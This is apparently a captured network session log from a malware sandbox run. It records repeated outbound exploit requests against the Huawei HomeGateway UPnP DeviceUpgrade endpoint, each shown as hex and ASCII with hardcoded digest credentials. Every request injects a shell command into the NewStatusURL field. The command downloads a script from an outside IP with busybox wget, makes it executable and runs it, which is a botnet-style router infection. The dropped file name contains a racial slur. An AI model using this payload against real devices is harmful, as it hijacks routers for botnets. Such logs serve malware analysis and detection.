Feb 19, 2024 18:37:43.841018915 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:47.680907965 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:55.104700089 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:09.952286959 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.15	51240	45.115.240.199	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:40.432467937 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:41.985075951 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:43.841034889 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:47.680922031 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:55.104691029 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
